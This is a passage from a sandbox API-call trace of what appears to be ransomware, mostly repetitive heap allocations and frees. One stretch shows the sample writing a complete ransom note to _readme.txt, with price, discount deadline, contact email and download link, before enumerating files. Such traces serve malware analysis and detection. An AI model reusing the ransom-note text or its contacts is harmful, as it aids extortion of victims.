hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.336] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0124.336] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.336] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.336] PathFindFileNameW (pszPath="") returned="" [0124.336] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.337] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.337] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.337] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.337] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.337] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.337] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.337] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0124.337] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0124.337] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.337] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.337] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.337] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.337] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.337] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.337] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.338] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.338] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.338] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.338] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.338] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.339] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.341] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.341] HeapFree (in: hHeap=0x810000, 